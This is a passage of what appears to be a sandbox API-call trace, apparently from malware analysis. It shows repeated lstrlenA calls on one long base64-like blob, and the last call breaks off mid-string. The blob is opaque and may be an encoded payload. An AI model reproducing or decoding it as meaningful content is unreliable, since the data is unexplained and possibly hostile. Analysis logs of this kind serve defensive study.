(lpString="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") returned 5792 [0163.805] lstrlenA (lpString="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") returned 5792 [0163.805] lstrlenA (lpString="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